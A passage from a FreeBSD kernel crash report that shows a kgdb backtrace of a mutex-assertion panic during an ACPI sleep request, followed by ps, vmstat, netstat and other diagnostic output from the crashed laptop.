devfs_ioctl_f+0xf8 kern_ioctl(c7bd3240,3,80045004,c7208760,4,...) at kern_ioctl+0x1dd ioctl(c7bd3240,e7a70cf8,c,65,c,...) at ioctl+0x134 syscall(e7a70d38) at syscall+0x2a6 Xint0x80_syscall() at Xint0x80_syscall+0x20 --- syscall (54, FreeBSD ELF32, ioctl), eip = 0x2816bf83, esp = 0xbfbfeb7c, ebp = 0xbfbfec58 --- Uptime: 1m12s Physical memory: 2038 MB Dumping 178 MB: 163 147 131 115 99 83 67 51 35 19 3 Reading symbols from /boot/kernel/ng_socket.ko...Reading symbols from /boot/kernel/ng_socket.ko.symbols...done. done. Loaded symbols for /boot/kernel/ng_socket.ko Reading symbols from /boot/kernel/netgraph.ko...Reading symbols from /boot/kernel/netgraph.ko.symbols...done. done. Loaded symbols for /boot/kernel/netgraph.ko Reading symbols from /boot/kernel/acpi_video.ko...Reading symbols from /boot/kernel/acpi_video.ko.symbols...done. done. Loaded symbols for /boot/kernel/acpi_video.ko Reading symbols from /boot/kernel/acpi.ko...Reading symbols from /boot/kernel/acpi.ko.symbols...done. done. Loaded symbols for /boot/kernel/acpi.ko Reading symbols from /boot/kernel/ng_bluetooth.ko...Reading symbols from /boot/kernel/ng_bluetooth.ko.symbols...done. done. Loaded symbols for /boot/kernel/ng_bluetooth.ko Reading symbols from /boot/kernel/ng_btsocket.ko...Reading symbols from /boot/kernel/ng_btsocket.ko.symbols...done. done. Loaded symbols for /boot/kernel/ng_btsocket.ko Reading symbols from /boot/kernel/ng_ubt.ko...Reading symbols from /boot/kernel/ng_ubt.ko.symbols...done. done. Loaded symbols for /boot/kernel/ng_ubt.ko Reading symbols from /boot/kernel/ng_hci.ko...Reading symbols from /boot/kernel/ng_hci.ko.symbols...done. done. Loaded symbols for /boot/kernel/ng_hci.ko Reading symbols from /boot/kernel/ng_l2cap.ko...Reading symbols from /boot/kernel/ng_l2cap.ko.symbols...done. done. Loaded symbols for /boot/kernel/ng_l2cap.ko #0 doadump () at pcpu.h:246 246 pcpu.h: No such file or directory. in pcpu.h (kgdb) #0 doadump () at pcpu.h:246 #1 0xc05ca39f in boot (howto=260) at /usr/src/sys/kern/kern_shutdown.c:419 #2 0xc05ca685 in panic (fmt=Variable "fmt" is not available. ) at /usr/src/sys/kern/kern_shutdown.c:575 #3 0xc05ba967 in _mtx_assert (m=0xc0b5e7a0, what=0, file=0xc07d0847 "/usr/src/sys/kern/kern_event.c", line=1758) at /usr/src/sys/kern/kern_mutex.c:721 #4 0xc059a569 in knlist_mtx_assert_unlocked (arg=0xc0b5e7a0) at /usr/src/sys/kern/kern_event.c:1758 #5 0xc059aeaa in knote (list=0xc7b6c35c, hint=0, lockflags=0) at /usr/src/sys/kern/kern_event.c:1618 #6 0xc0b38235 in acpi_ReqSleepState (sc=0xc71dac00, state=3) at /usr/src/sys/modules/acpi/acpi/../../../dev/acpica/acpi.c:2351 #7 0xc054f5a8 in devfs_ioctl_f (fp=0xc7c0f930, com=2147766276, data=0xc7208760, cred=0xc7555c00, td=0xc7bd3240) at /usr/src/sys/fs/devfs/devfs_vnops.c:659 #8 0xc060da9d in kern_ioctl (td=0xc7bd3240, fd=3, com=2147766276, data=0xc7208760 "\003") at file.h:262 #9 0xc060dc24 in ioctl (td=0xc7bd3240, uap=0xe7a70cf8) at /usr/src/sys/kern/sys_generic.c:678 #10 0xc076c426 in syscall (frame=0xe7a70d38) at /usr/src/sys/i386/i386/trap.c:1073 #11 0xc07503f0 in Xint0x80_syscall () at /usr/src/sys/i386/i386/exception.s:261 #12 0x00000033 in ?? () Previous frame inner to this frame (corrupt stack?) (kgdb) ------------------------------------------------------------------------ ps -axl UID PID PPID CPU PRI NI VSZ RSS MWCHAN STAT TT TIME COMMAND 0 0 0 0 -68 0 0 0 - DLs ?? 832568:33.00 [kernel] 0 1 0 0 76 0 1888 0 wait DLs ?? 241448:15.00 [init] 0 2 0 0 -8 0 0 0 - DL ?? 1679496:18.00 [g_event] 0 3 0 0 -8 0 0 0 - DL ?? 6596221:21.00 [g_up] 0 4 0 0 -8 0 0 0 - DL ?? 6612726:27.00 [g_down] 0 5 0 0 -16 0 0 0 ccb_sc DL ?? 0:00.00 [xpt_thrd] 0 6 0 0 76 0 0 0 psleep DL ?? 4047:18.00 [pagedaemon 0 7 0 0 76 0 0 0 psleep DL ?? 101:15.00 [vmdaemon] 0 8 0 0 76 0 0 0 pgzero DL ?? 97:12.00 [pagezero] 0 9 0 0 76 0 0 0 psleep DL ?? 8638:39.00 [bufdaemon] 0 10 0 0 171 0 0 0 - RL ?? 5013754:33.00 [idle] 0 11 0 0 -64 0 0 0 - RL ?? 18044778:00.00 [intr] 0 12 0 0 -16 0 0 0 sleep DL ?? 0:00.00 [ng_queue] 0 13 0 0 -16 0 0 0 - DL ?? 476083:03.00 [yarrow] 0 14 0 0 -64 0 0 0 wmsg DL ?? 7035:27.00 [usbus0] 0 15 0 0 -68 0 0 0 wmsg DL ?? 677:42.00 [usbus0] 0 16 0 0 -64 0 0 0 wmsg DL ?? 338993:06.00 [usbus0] 0 17 0 0 -64 0 0 0 wmsg DL ?? 18673:48.00 [usbus0] 0 18 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus1] 0 19 0 0 -68 0 0 0 wmsg DL ?? 0:00.00 [usbus1] 0 20 0 0 -64 0 0 0 wmsg DL ?? 6138:54.00 [usbus1] 0 21 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus1] 0 22 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus2] 0 23 0 0 -68 0 0 0 wmsg DL ?? 0:00.00 [usbus2] 0 24 0 0 -64 0 0 0 wmsg DL ?? 5629:03.00 [usbus2] 0 25 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus2] 0 26 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus3] 0 27 0 0 -68 0 0 0 wmsg DL ?? 0:00.00 [usbus3] 0 28 0 0 -64 0 0 0 wmsg DL ?? 24102:45.00 [usbus3] 0 29 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus3] 0 30 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus4] 0 31 0 0 -68 0 0 0 wmsg DL ?? 0:00.00 [usbus4] 0 32 0 0 -64 0 0 0 wmsg DL ?? 6288:45.00 [usbus4] 0 33 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus4] 0 34 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus5] 0 35 0 0 -68 0 0 0 wmsg DL ?? 0:00.00 [usbus5] 0 36 0 0 -64 0 0 0 wmsg DL ?? 5660:06.00 [usbus5] 0 37 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus5] 0 38 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus6] 0 39 0 0 -68 0 0 0 wmsg DL ?? 0:00.00 [usbus6] 0 40 0 0 -64 0 0 0 wmsg DL ?? 5723:42.00 [usbus6] 0 41 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus6] 0 42 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus7] 0 43 0 0 -68 0 0 0 wmsg DL ?? 0:00.00 [usbus7] 0 44 0 0 -64 0 0 0 wmsg DL ?? 17715:18.00 [usbus7] 0 45 0 0 -64 0 0 0 wmsg DL ?? 0:00.00 [usbus7] 0 46 0 0 76 0 0 0 vlruwt DL ?? 7146:45.00 [vnlru] 0 47 0 0 44 0 0 0 syncer DL ?? 82261:21.00 [syncer] 0 48 0 0 76 0 0 0 sdflus DL ?? 37951:21.00 [softdepflu 0 194 1 0 76 0 1468 0 pause Ds ?? 13061:06.00 [adjkerntz] 0 471 1 0 76 0 3376 0 select Ds ?? 10198:39.00 [moused] 0 515 1 0 44 0 1888 0 select Ds ?? 8381:15.00 [devd] 0 708 1 0 44 0 3276 0 select Ds ?? 365287:48.00 [syslogd] 0 894 1 0 76 0 3236 0 sbwait Ds ?? 35981:33.00 [hcsecd] 0 927 1 0 44 0 3276 0 select Ds ?? 214542:09.00 [powerd] 65534 938 1 0 48 0 3216 0 select Ds ?? 80774:42.00 [sdpd] 1001 972 1 0 59 0 46252 0 ucond D ?? 190214:42.00 [mpd] 556 982 1 0 48 0 3428 0 select Ds ?? 167967:45.00 [dbus-daemo 0 1010 1 0 65 0 5496 0 kqread Ds ?? 1086745:57.00 [cupsd] 0 1096 1 0 44 0 6008 0 select Ds ?? 64783:21.00 [sendmail] 25 1102 1 0 76 0 6008 0 pause Ds ?? 45976:48.00 [sendmail] 0 1108 1 0 44 0 3304 0 nanslp Ds ?? 182662:12.00 [cron] 65534 1121 1 0 76 0 3216 0 select Ds ?? 9063:18.00 [identd] 0 1172 1 0 76 0 4948 0 accept Ds ?? 83283:36.00 [obexapp] 0 1183 1 0 67 0 6964 0 nanslp Ds ?? 176223:09.00 [scmpc] 0 1185 1 0 76 0 3556 0 wait D ?? 19196:24.00 [sh] 0 1186 1 0 76 0 3216 0 piperd D ?? 95849:24.00 [logger] 0 1188 1185 0 76 0 1464 0 nanslp D ?? 85864:57.00 [sleep] 0 1189 1 0 45 0 3620 0 wait Ds ?? 142154:33.00 [login] 0 1190 1 0 76 0 3276 0 ttyin Ds+ ?? 129383:33.00 [getty] 0 1191 1 0 76 0 3276 0 ttyin Ds+ ?? 129663:18.00 [getty] 0 1192 1 0 76 0 3276 0 ttyin Ds+ ?? 131895:27.00 [getty] 0 1193 1 0 76 0 3276 0 ttyin Ds+ ?? 130137:36.00 [getty] 0 1194 1 0 76 0 3276 0 ttyin Ds+ ?? 131281:39.00 [getty] 0 1195 1 0 76 0 3276 0 ttyin Ds+ ?? 130958:06.00 [getty] 0 1196 1 0 76 0 3276 0 ttyin Ds+ ?? 133291:30.00 [getty] 560 1201 1 0 44 0 6924 0 select Ds ?? 4303756:57.00 [hald] 0 1204 1 0 52 0 12316 0 n Ds ?? 297684:18.00 [console-ki 0 1205 1201 0 76 0 5844 0 select D ?? 1193870:15.00 [hald-runne 0 1228 1205 0 76 0 5736 0 kqread D ?? 645285:54.00 [hald-addon 1001 1247 1189 0 44 0 4492 0 wait D ?? 0:00.00 [bash] 0 1252 1247 0 52 0 1468 0 - R+ ?? 0:00.00 [acpiconf] ------------------------------------------------------------------------ vmstat -s 0 cpu context switches 0 device interrupts 0 software interrupts 0 traps 0 system calls 0 kernel threads created 0 fork() calls 0 vfork() calls 0 rfork() calls 0 swap pager pageins 0 swap pager pages paged in 0 swap pager pageouts 0 swap pager pages paged out 0 vnode pager pageins 0 vnode pager pages paged in 0 vnode pager pageouts 0 vnode pager pages paged out 0 page daemon wakeups 0 pages examined by the page daemon 318 pages reactivated 0 copy-on-write faults 0 copy-on-write optimized faults 0 zero fill pages zeroed 0 zero fill pages prezeroed 0 intransit blocking page faults 0 total VM faults taken 0 pages affected by kernel thread creation 0 pages affected by fork() 0 pages affected by vfork() 0 pages affected by rfork() 367 pages cached 0 pages freed 0 pages freed by daemon 213261 pages freed by exiting processes 12717 pages active 12538 pages inactive 47 pages in VM cache 33352 pages wired down 453752 pages free 4096 bytes per page 47067 total name lookups cache hits (84% pos + 9% neg) system 0% per-directory deletions 0%, falsehits 0%, toolong 0% ------------------------------------------------------------------------ vmstat -m Type InUse MemUse HighUse Requests Size(s) filedesc 88 26K - 1271 16,32,256,512,2048 kenv 83 7K - 88 16,32,64,128,4096 kqueue 12 6K - 26 128,256,1024 proc-args 34 3K - 597 16,32,64,128,256 ithread 67 6K - 67 16,64,128 ad_driver 1 1K - 1 32 acd_driver 1 2K - 1 2048 KTRACE 100 13K - 100 128 feeder 22 2K - 28 16,64 linker 89 5K - 212 16,32,64,128,256 lockf 23 2K - 27 32,64 ata_cam 1 1K - 73 64,256,1024 temp 158 237K - 5674 16,32,64,128,256,512,1024,2048,4096 devbuf 4970 6717K - 5064 16,32,64,128,256,512,1024,2048,4096 athdev 3 41K - 3 1024 module 182 12K - 182 64,128 mtx_pool 2 8K - 2 4096 scsi_cd 0 0K - 6 16 osd 2 1K - 2 16,32 ath_hal 3 18K - 4 2048 subproc 167 350K - 1339 256,4096 proc 2 8K - 2 4096 session 28 2K - 32 64 pgrp 30 2K - 44 64 cred 50 5K - 8776 64,128 uidinfo 7 2K - 10 64,1024 plimit 17 5K - 192 256 CAM dev queue 8 1K - 8 64 sysctltmp 0 0K - 482 16,32,64,128 sysctloid 3433 105K - 3551 16,32,64 sysctl 0 0K - 770 16,32,64 umtx 140 9K - 140 64 p1003.1b 1 1K - 1 16 SWAP 2 2189K - 2 64 bus-sc 68 213K - 1721 16,32,64,128,256,512,1024,2048,4096 bus 681 36K - 4232 16,32,64,128,512,1024 devstat 16 33K - 16 16,4096 eventhandler 62 4K - 62 32,64,128 mixer 3 12K - 3 4096 kobj 102 204K - 215 2048 Per-cpu 1 1K - 1 16 rman 176 11K - 572 16,32,64 CAM queue 28 2K - 634 16,128 sbuf 0 0K - 672 16,32,64,128,256,512,1024,2048,4096 ddb_capture 1 48K - 1 taskqueue 13 1K - 13 16,64 Unitno 12 1K - 44 16,64 USBdev 84 23K - 334 32,128,256,1024,2048 USB 74 50K - 76 16,32,64,1024,2048,4096 DEVFS1 105 27K - 122 256 DEVFS3 137 18K - 154 128,256 Witness 1 104K - 1 iov 0 0K - 1392 16,64,128,256 select 26 2K - 26 64 ioctlops 1 1K - 2184 16,32,64,128,256,512,1024,2048,4096 msg 4 25K - 4 1024,4096 sem 4 6K - 4 256,512,1024,4096 shm 1 12K - 1 tty 17 9K - 19 512,1024 mbuf_tag 0 0K - 4 32 shmfd 1 4K - 1 4096 pcb 13 7K - 41 16,512,1024,2048 soname 14 2K - 445 16,32,64,128 biobuf 4 8K - 6 2048 vfscache 1 512K - 1 cl_savebuf 0 0K - 11 32,64 vfs_hash 1 256K - 1 vnodes 2 1K - 2 128 DEVFS_RULE 45 11K - 45 32,256 vnodemarker 0 0K - 20 512 mount 120 5K - 183 16,32,64,128,256 ether_multi 11 1K - 12 16,32,64 ifaddr 361 15K - 361 16,32,256,2048 ifnet 4 4K - 4 64,1024 clone 2 8K - 2 4096 arpcom 1 1K - 1 16 lltable 5 1K - 5 128,256 DEVFS 18 1K - 19 16,64 DEVFSP 1 1K - 251 32 pfs_nodes 163 21K - 163 128 pfs_vncache 9 1K - 9 32 routetbl 11 2K - 52 16,32,64,128,256 80211vap 1 4K - 1 4096 80211crypto 1 1K - 1 16 80211com 1 8K - 1 80211nodeie 3 1K - 4 128,256 80211node 2 13K - 4 128,512 80211scan 4 5K - 4 256,2048 igmp 3 1K - 3 128 GEOM 135 16K - 1183 16,32,64,128,256,512,1024,2048 CAM SIM 8 1K - 8 128 in_multi 2 1K - 2 128 hostcache 1 16K - 1 syncache 1 72K - 1 savedino 0 0K - 24 256 dirrem 4 1K - 41 32 mkdir 0 0K - 12 32 diradd 24 2K - 44 64 freefile 6 1K - 38 32 freeblks 4 1K - 30 256 freefrag 2 1K - 49 32 allocindir 0 0K - 5389 64 indirdep 1 1K - 5 32 allocdirect 16 2K - 109 128 bmsafemap 1 1K - 17 64 newblk 1 1K - 5499 64,256 inodedep 37 261K - 84 128 pagedep 8 65K - 22 64 ufs_dirhash 54 11K - 54 16,32,64,128,256,512 ufs_mount 6 53K - 6 256,2048 isadev 10 1K - 10 64 vm_pgdata 2 65K - 2 64 CAM XPT 50 12K - 2830 16,32,64,256,1024,2048 entropy 1024 64K - 1024 64 CAM periph 6 1K - 25 16,32,128 hdac 7 24K - 7 64,128,512,1024,2048 io_apic 1 1K - 1 1024 memdesc 1 4K - 1 4096 msi 2 1K - 2 64 nexusdev 4 1K - 4 16 cdev 9 2K - 9 128 linux 12 1K - 12 32,64 ata_generic 2 2K - 2 1024 sigio 1 1K - 1 32 pci_link 16 2K - 16 64,128 acpica 2220 117K - 68575 16,32,64,128,256,512,1024 acpitask 1 1K - 1 1024 netgraph_node 4 1K - 4 128 acpisem 14 2K - 14 64,128 apmdev 2 1K - 2 64 acpidev 82 3K - 82 32 netgraph_btsocks_hci_raw 2 9K - 2 128 netgraph_btsocks_l2cap 2 1K - 2 128 netgraph_btsocks_rfcomm 2 1K - 2 64,128 ------------------------------------------------------------------------ vmstat -z ITEM SIZE LIMIT USED FREE REQUESTS FAILURES UMA Kegs: 128, 0, 74, 16, 74, 0 UMA Zones: 888, 0, 74, 2, 74, 0 UMA Slabs: 284, 0, 431, 3, 835, 0 UMA RCntSlabs: 544, 0, 69, 1, 69, 0 UMA Hash: 128, 0, 3, 27, 3, 0 16 Bucket: 76, 0, 30, 20, 60, 0 32 Bucket: 140, 0, 31, 25, 60, 0 64 Bucket: 268, 0, 29, 13, 82, 28 128 Bucket: 524, 0, 62, 1, 794, 114 VM OBJECT: 136, 0, 1625, 115, 20429, 0 MAP: 140, 0, 8, 20, 8, 0 KMAP ENTRY: 72, 57505, 36, 123, 3106, 0 MAP ENTRY: 72, 0, 942, 118, 38815, 0 DP fakepg: 72, 0, 0, 106, 17, 0 mt_zone: 2056, 0, 207, 0, 207, 0 16: 16, 0, 2874, 374, 37543, 0 32: 32, 0, 2847, 91, 36321, 0 64: 64, 0, 4558, 5531, 23621, 0 128: 128, 0, 3577, 113, 15323, 0 256: 256, 0, 985, 65, 2990, 0 512: 512, 0, 74, 14, 2465, 0 1024: 1024, 0, 71, 153, 1690, 0 2048: 2048, 0, 155, 37, 2734, 0 4096: 4096, 0, 156, 13, 4451, 0 Files: 56, 0, 160, 108, 6873, 0 TURNSTILE: 72, 0, 141, 39, 141, 0 umtx pi: 52, 0, 0, 0, 0, 0 PROC: 680, 0, 81, 3, 1252, 0 THREAD: 572, 0, 127, 13, 127, 0 SLEEPQUEUE: 40, 0, 141, 95, 141, 0 VMSPACE: 232, 0, 34, 17, 1205, 0 cpuset: 40, 0, 2, 182, 2, 0 mbuf_packet: 256, 0, 41, 101, 1523, 0 mbuf: 256, 0, 1, 141, 1180, 0 mbuf_cluster: 2048, 25600, 128, 6, 128, 0 mbuf_jumbo_page: 4096, 12800, 0, 2, 3, 0 mbuf_jumbo_9k: 9216, 19200, 0, 0, 0, 0 mbuf_jumbo_16k: 16384, 12800, 0, 0, 0, 0 mbuf_ext_refcnt: 4, 0, 0, 0, 0, 0 NetGraph items: 36, 4130, 0, 0, 0, 0 NetGraph data items: 36, 531, 0, 0, 0, 0 g_bio: 152, 0, 0, 546, 33646, 0 ttyinq: 152, 0, 120, 36, 480, 0 ttyoutq: 256, 0, 64, 11, 256, 0 ata_request: 200, 0, 0, 171, 5981, 0 ata_composite: 180, 0, 0, 0, 0, 0 VNODE: 344, 0, 1180, 19, 1219, 0 VNODEPOLL: 60, 0, 30, 96, 30, 0 S VFS Cache: 72, 0, 1129, 37, 2692, 0 L VFS Cache: 292, 0, 9, 17, 9, 0 NAMEI: 1024, 0, 0, 12, 16659, 0 DIRHASH: 1024, 0, 88, 8, 88, 0 pipe: 392, 0, 6, 14, 693, 0 ksiginfo: 80, 0, 75, 981, 75, 0 itimer: 220, 0, 0, 36, 1, 0 KNOTE: 68, 0, 40, 72, 55, 0 socket: 412, 25605, 43, 11, 299, 0 ipq: 32, 904, 0, 0, 0, 0 udp_inpcb: 196, 25600, 2, 38, 154, 0 udpcb: 8, 25781, 2, 201, 154, 0 tcp_inpcb: 196, 25600, 6, 34, 11, 0 tcpcb: 632, 25602, 6, 6, 11, 0 tcptw: 52, 5184, 0, 0, 0, 0 syncache: 112, 15365, 0, 70, 1, 0 hostcache: 76, 15400, 0, 0, 0, 0 tcpreass: 20, 1690, 0, 0, 0, 0 sackhole: 20, 0, 0, 0, 0, 0 ripcb: 196, 25600, 0, 0, 0, 0 unpcb: 172, 25622, 31, 38, 129, 0 rtentry: 108, 0, 4, 68, 4, 0 selfd: 28, 0, 69, 185, 12241, 0 SWAPMETA: 276, 121576, 0, 0, 0, 0 Mountpoints: 720, 0, 8, 7, 8, 0 FFS inode: 116, 0, 1079, 43, 1117, 0 FFS1 dinode: 128, 0, 0, 0, 0, 0 FFS2 dinode: 256, 0, 1079, 31, 1117, 0 ------------------------------------------------------------------------ vmstat -i interrupt total rate irq16: uhci0 156 4 irq18: uhci2 ehci+ 2 0 irq19: ath0 uhci4+ 7478 191 cpu0: timer 141126 3618 irq256: hdac0 43 1 irq257: ahci0 2287 58 Total 151092 3874 ------------------------------------------------------------------------ pstat -T 160/12328 files 0M/10239M swap space ------------------------------------------------------------------------ pstat -s Device 512-blocks Used Avail Capacity /dev/#C:0:0x6b 20971224 0 20971224 0% ------------------------------------------------------------------------ iostat iostat: kvm_read(_tk_nin): invalid address (0x0) iostat: disabling TTY statistics iostat: kvm_getcptime: invalid address (0x0) iostat: disabling CPU time statistics ad0 ada0 cd0 KB/t tps MB/s KB/t tps MB/s KB/t tps MB/s 26.74 146 3.81 61.96 57 3.45 4.40 2 0.01 ------------------------------------------------------------------------ ipcs -a Message Queues: T ID KEY MODE OWNER GROUP CREATOR CGROUP CBYTES QNUM QBYTES LSPID LRPID STIME RTIME CTIME Shared Memory: T ID KEY MODE OWNER GROUP CREATOR CGROUP NATTCH SEGSZ CPID LPID ATIME DTIME CTIME Semaphores: T ID KEY MODE OWNER GROUP CREATOR CGROUP NSEMS OTIME CTIME ------------------------------------------------------------------------ ipcs -T msginfo: msgmax: 16384 (max characters in a message) msgmni: 40 (# of message queues) msgmnb: 2048 (max characters in a message queue) msgtql: 40 (max # of messages in system) msgssz: 8 (size of a message segment) msgseg: 2048 (# of message segments in system) shminfo: shmmax: 67108864 (max shared memory segment size) shmmin: 1 (min shared memory segment size) shmmni: 192 (max number of shared memory identifiers) shmseg: 512 (max shared memory segments per process) shmall: 32768 (max amount of shared memory in pages) seminfo: semmap: 30 (# of entries in semaphore map) semmni: 10 (# of semaphore identifiers) semmns: 60 (# of semaphores in system) semmnu: 30 (# of undo structures in system) semmsl: 60 (max # of semaphores per id) semopm: 100 (max # of operations per semop call) semume: 10 (max # of undo entries per process) semusz: 136 (size in bytes of undo structure) semvmx: 32767 (semaphore maximum value) semaem: 16384 (adjust on exit max value) ------------------------------------------------------------------------ nfsstat nfsstat: kvm_nlist: can't get names ------------------------------------------------------------------------ netstat -s tcp: 93 packets sent 51 data packets (4076 bytes) 0 data packets (0 bytes) retransmitted 0 data packets unnecessarily retransmitted 0 resends initiated by MTU discovery 33 ack-only packets (23 delayed) 0 URG only packets 0 window probe packets 0 window update packets 9 control packets 90 packets received 61 acks (for 4081 bytes) 4 duplicate acks 0 acks for unsent data 55 packets (4218 bytes) received in-sequence 0 completely duplicate packets (0 bytes) 0 old duplicate packets 0 packets with some dup. data (0 bytes duped) 0 out-of-order packets (0 bytes) 0 packets (0 bytes) of data after window 0 window probes 0 window update packets 0 packets received after close 0 discarded for bad checksums 0 discarded for bad header offset fields 0 discarded because packet too short 0 discarded due to memory problems 5 connection requests 1 connection accept 0 bad connection attempts 0 listen queue overflows 0 ignored RSTs in the windows 6 connections established (including accepts) 5 connections closed (including 0 drops) 0 connections updated cached RTT on close 0 connections updated cached RTT variance on close 0 connections updated cached ssthresh on close 0 embryonic connections dropped 61 segments updated rtt (of 60 attempts) 0 retransmit timeouts 0 connections dropped by rexmit timeout 0 persist timeouts 0 connections dropped by persist timeout 0 Connections (fin_wait_2) dropped because of timeout 0 keepalive timeouts 0 keepalive probes sent 0 connections dropped by keepalive 0 correct ACK header predictions 23 correct data packet header predictions 1 syncache entry added 0 retransmitted 0 dupsyn 0 dropped 1 completed 0 bucket overflow 0 cache overflow 0 reset 0 stale 0 aborted 0 badack 0 unreach 0 zone failures 1 cookie sent 0 cookies received 0 SACK recovery episodes 0 segment rexmits in SACK recovery episodes 0 byte rexmits in SACK recovery episodes 0 SACK options (SACK blocks) received 0 SACK options (SACK blocks) sent 0 SACK scoreboard overflow 0 packets with ECN CE bit set 0 packets with ECN ECT(0) bit set 0 packets with ECN ECT(1) bit set 0 successful ECN handshakes 0 times ECN reduced the congestion window udp: 67 datagrams received 0 with incomplete header 0 with bad data length field 0 with bad checksum 0 with no checksum 0 dropped due to no socket 0 broadcast/multicast datagrams undelivered 0 dropped due to full socket buffers 0 not for hashed pcb 67 delivered 67 datagrams output 0 times multicast source filter matched ip: 157 total packets received 0 bad header checksums 0 with size smaller than minimum 0 with data size < data length 0 with ip length > max ip packet size 0 with header length < data size 0 with data length < header length 0 with bad options 0 with incorrect version number 0 fragments received 0 fragments dropped (dup or out of space) 0 fragments dropped after timeout 0 packets reassembled ok 157 packets for this host 0 packets for unknown/unsupported protocol 0 packets forwarded (0 packets fast forwarded) 0 packets not forwardable 0 packets received for unknown multicast group 0 redirects sent 160 packets sent from this host 0 packets sent with fabricated ip header 0 output packets dropped due to no bufs, etc. 0 output packets discarded due to no route 0 output datagrams fragmented 0 fragments created 0 datagrams that can't be fragmented 0 tunneling packets that can't find gif 0 datagrams with bad address in header icmp: 0 calls to icmp_error 0 errors not generated in response to an icmp message 0 messages with bad code fields 0 messages less than the minimum length 0 messages with bad checksum 0 messages with bad length 0 multicast echo requests ignored 0 multicast timestamp requests ignored 0 message responses generated 0 invalid return addresses 0 no return routes igmp: 0 messages received 0 messages received with too few bytes 0 messages received with wrong TTL 0 messages received with bad checksum 0 V1/V2 membership queries received 0 V3 membership queries received 0 membership queries received with invalid field(s) 0 general queries received 0 group queries received 0 group-source queries received 0 group-source queries dropped 0 membership reports received 0 membership reports received with invalid field(s) 0 membership reports received for groups to which we belong 0 V3 reports received without Router Alert 0 membership reports sent ------------------------------------------------------------------------ netstat -m 42/242/284 mbufs in use (current/cache/total) 27/107/134/25600 mbuf clusters in use (current/cache/total/max) 41/101 mbuf+clusters out of packet secondary zone in use (current/cache) 0/2/2/12800 4k (page size) jumbo clusters in use (current/cache/total/max) 0/0/0/19200 9k jumbo clusters in use (current/cache/total/max) 0/0/0/12800 16k jumbo clusters in use (current/cache/total/max) 64K/282K/347K bytes allocated to network (current/cache/total) 0/0/0 requests for mbufs denied (mbufs/clusters/mbuf+clusters) 0/0/0 requests for jumbo clusters denied (4k/9k/16k) 0 requests for sfbufs denied 0 requests for sfbufs delayed 0 requests for I/O initiated by sendfile 0 calls to protocol drain routines ------------------------------------------------------------------------ netstat -id Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Coll Drop ath0 2290 00:0f:b5:82:07:c8 1026 149 94 0 0 0 lo0 16384 73 0 73 0 0 0 lo0 16384 your-net localhost.otaku 73 - 73 - - - wlan0 1500 00:0f:b5:82:07:c8 85 0 89 0 0 0 wlan0 1500 192.168.1.0 localhost.otaku 84 - 87 - - - ------------------------------------------------------------------------ netstat -anr Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default 192.168.1.1 UGS 0 80 wlan0 127.0.0.1 link#2 UH 0 73 lo0 192.168.1.0/24 link#3 U 0 7 wlan0 192.168.1.10 link#2 UHS 0 0 lo0 ------------------------------------------------------------------------ netstat -anA Active Internet connections (including servers) Tcpcb Proto Recv-Q Send-Q Local Address Foreign Address (state) c7b8d768 tcp4 0 0 127.0.0.1.6600 127.0.0.1.50561 -944187072 c7b8d4f0 tcp4 0 0 127.0.0.1.50561 127.0.0.1.6600 -944187704 c7b8d278 tcp4 0 0 *.113 *.* -944188336 c7b8d000 tcp4 0 0 127.0.0.1.25 *.* -944188968 c7b8d9e0 tcp4 0 0 127.0.0.1.631 *.* -944186440 c7b8dc58 tcp4 0 0 *.6600 *.* -944185808 c7816498 udp4 0 0 *.631 *.* c78169f4 udp4 0 0 *.514 *.* Active UNIX domain sockets Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr c75cad70 stream 0 0 0 c75cacc4 0 0 /var/run/hald/dbus-a5kuiZZqEC c75cacc4 stream 0 0 0 c75cad70 0 0 c7c6b000 stream 0 0 0 c7c6b0ac 0 0 /var/run/devd.pipe c7c6b0ac stream 0 0 0 c7c6b000 0 0 c7c6b158 stream 0 0 0 c75c9ac0 0 0 /var/run/hald/dbus-yNI7AgXT1M c75c9ac0 stream 0 0 0 c7c6b158 0 0 c75c98bc stream 0 0 c7c37560 0 0 0 /var/run/hald/dbus-yNI7AgXT1M c75c9560 stream 0 0 0 c75c9764 0 0 /var/run/dbus/system_bus_socket c75c9764 stream 0 0 0 c75c9560 0 0 c75c9c18 stream 0 0 0 c75c9cc4 0 0 /var/run/dbus/system_bus_socket c75c9cc4 stream 0 0 0 c75c9c18 0 0 c75ca000 stream 0 0 c7c36560 0 0 0 /var/run/hald/dbus-a5kuiZZqEC c75c9ec8 stream 0 0 0 c75c9e1c 0 0 /var/run/sdp c75c9e1c stream 0 0 0 c75c9ec8 0 0 c75c94b4 stream 0 0 c7c0c6b8 0 0 0 /var/run/cups.sock c75c9000 stream 0 0 0 c75c90ac 0 0 c75c90ac stream 0 0 0 c75c9000 0 0 c75c9158 stream 0 0 c7bd86b8 0 0 0 /var/run/dbus/system_bus_socket c75c92b0 stream 0 0 c7bb0810 0 0 0 /var/run/sdp c75c9b6c stream 0 0 c781c158 0 0 0 /var/run/devd.pipe c75ca8bc dgram 0 0 0 c75c96b8 0 0 c75ca810 dgram 0 0 0 c75c960c 0 c75c9d70 c75c9d70 dgram 0 0 0 c75c960c 0 c75c9a14 c75c9a14 dgram 0 0 0 c75c960c 0 c75c9968 c75c9968 dgram 0 0 0 c75c960c 0 c75c9810 c75c9810 dgram 0 0 0 c75c960c 0 c75c9204 c75c9204 dgram 0 0 0 c75c960c 0 c75c935c c75c935c dgram 0 0 0 c75c960c 0 c75c9408 c75c9408 dgram 0 0 0 c75c960c 0 0 c75c960c dgram 0 0 c7b116b8 0 c75ca810 0 /var/run/logpriv c75c96b8 dgram 0 0 c7b11810 0 c75ca8bc 0 /var/run/log ------------------------------------------------------------------------ netstat -aL 